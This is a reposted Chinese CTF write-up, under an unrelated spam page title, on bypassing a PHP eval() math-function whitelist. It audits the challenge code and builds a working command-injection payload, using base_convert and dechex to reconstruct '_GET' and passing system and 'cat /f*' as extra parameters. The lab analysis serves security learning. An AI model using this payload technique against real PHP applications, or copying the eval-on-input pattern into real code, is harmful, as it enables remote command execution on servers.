您的位置:首页 > 游戏 > 手游 > 石狮网站建设哪家好_潜江资讯网手机版正式上线_网络推广哪个平台最好_企业网站推广优化公司

石狮网站建设哪家好_潜江资讯网手机版正式上线_网络推广哪个平台最好_企业网站推广优化公司

2024/12/26 21:11:57 来源:https://blog.csdn.net/weixin_73904941/article/details/143947192  浏览:    关键词:石狮网站建设哪家好_潜江资讯网手机版正式上线_网络推广哪个平台最好_企业网站推广优化公司
石狮网站建设哪家好_潜江资讯网手机版正式上线_网络推广哪个平台最好_企业网站推广优化公司

知识点:

数学函数转换字符串
GET传参外部赋值
eval()函数解析执行命令
PHP动态调用函数名

源码:

 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}

代码审计:

看到最后的  eval('echo '.$content.';');  代码,可以通过eval()函数执行命令,那么目的就是命令执行得到flag

然后看代码的细节,接收一个get传入的参数c,并且参数c的长度不能超过80,还不能在黑名单

$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 里面   不能含有空格 \t \r \n 单双引号 中括号[]

又给出了一个白名单,里面是很多的数学函数,然后进行正则匹配,得到的结果赋值给$used_funcs

$used_funcs[0] 包含了所有完整的匹配字符串,$used_funcs[0] 里面的所有数据都要在白名单中

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);

正则表达式中  \x7f-\xff  匹配 ASCII 值从 127 到 255 的字符

所以作用是从 $content 中找出所有以字母或下划线或者ASCII 值从 127 到 255 的字符作为开头,后面跟随任意数量的字母、数字、下划线或ASCII 127-255的字符串序列,并将它们收集到 $used_funcs 数组中

目的是命令执行,但是前提是$used_funcs[0]数组中的每个数据必须在白名单中,而白名单中没有命令执行函数例如system,那么问题就是如何构造system函数和命令

在PHP中,可以使用变量来存储函数名,然后通过这个变量来调用相应的函数

例如在windows中,可以像下面这样调用system函数,用dir 输出目录信息

<?php  
$a='system';
$a('dir');

所以既然对参数c进行了很多限制,而且对长度也有要求,那么可以通过外部赋值绕开这些限制

外部赋值可以用$_GET[]接收外面的参数,所以格式可以是

?c=($_GET[a])($_GET[b])&a=system&b=ls

简单实践一下,利用下面的代码演示, 在windows中用dir来表示列出当前目录

<?php
error_reporting(0);
highlight_file(__FILE__);
$content = $_GET['c'];
echo $_GET['c']."\n";eval($content.';');

可以看到这样执行命令是没有问题的,这里题目是PHP7的环境, $_GET[a]两边的()可以不加,但是在PHP5中不能有这对括号

格式有了,接下来就是考虑如何构造出来

_GET 以及 [] 都会被匹配,所以需要替换,$content长度不能超过80,所以选择白名单中最短的两个函数作为外部赋值的参数名,这里就用pi 和 pow

中括号[] 可以用 {} 来替代, _GET 用白名单中的数学函数转换得到

数学函数转换

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符,就可以通过构造字符串转换为GET传参格式
但是这里hex2bin()不在白名单中,还需要通过白名单中的函数构造出来

base_convert:  用于在不同的进制之间转换数字
base_convert(37907361743,10,36)  将十进制数 37907361743 转换为三十六进制,在三十六进制中,数字超过 9 后会使用字母 A-Z 表示 10 到 35
因此base_convert(37907361743,10,36) 表示的就是  "hex2bin"

这里的括号()和 逗号, 都不会进入匹配  37907361743 10 36 也不会,因为没有以字母或者_或者指定ASCII字符开头的字串
把_GET 字符串转换为16进制格式, 得到 hex2bin(5f474554)  转换完就是 _GET
但是5f 47 45 54会被匹配到,因为存在以字母开头的子字符串f474554

因此 5f 47 45 54可以用白名单中的dechex()函数将10进制数转换为16进制的数
dechex(1598506324)    1598506324转换为16进制就是 5f 47 45 54

经过一系列转换,得到

hex2bin(5f474554)   ->   base_convert(37907361743,10,36)(dechex(1598506324))

base_convert(37907361743,10,36)(dechex(1598506324)) 也就是_GET

接下来赋值传参即可

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=ls

参数c的值是后面的一大串,里面有分号;隔开,经过eval()函数也就是相当于解析执行两条命令,会先解析$pi的值, 也就是得到$pi=_GET

然后执行后面的($_GET[pi])($_GET[pow])&pi=system&pow=ls  最后输出整个的结果

根目录下发现flag文件 查看即可

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=cat /f*

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com